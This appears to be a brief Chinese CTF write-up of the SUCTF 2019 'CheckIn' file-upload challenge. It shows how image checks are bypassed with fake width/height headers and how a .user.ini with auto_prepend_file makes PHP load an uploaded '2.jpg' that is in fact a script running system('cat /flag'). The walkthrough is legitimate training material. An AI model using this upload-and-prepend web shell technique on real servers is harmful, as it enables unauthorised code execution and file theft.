题目是2019SUCTF的Checkln
先进入题目看到的是:
文件上传,经过多方尝试之后发现只能上传图片格式的,看了题解之后发现他是
getimagesize可以用普通文件,通过设置height以及width来绕过。
这题要求我们使用.user.ini
所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。
1.user.ini文件
#define width 1337
#define height 1337
auto_prepend_file=2.jpg
2.2.jpg
#define width 1337
#define height 1337
<script language="PHP">
system("cat /flag");</script>//cat是读取命令,读取有flag的文件的文件
然后挨个上传,上传成功后会返回一个地址
Your dir uploads/fd40c7f4125a9b9ff1a4e75d293e3080 //地址
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "2.jpg" [4]=> string(9) "index.php" }
访问地址后:
system函数读取文件
如果cpuinfo是个文件的话
system("cat /proc/cpuinfo");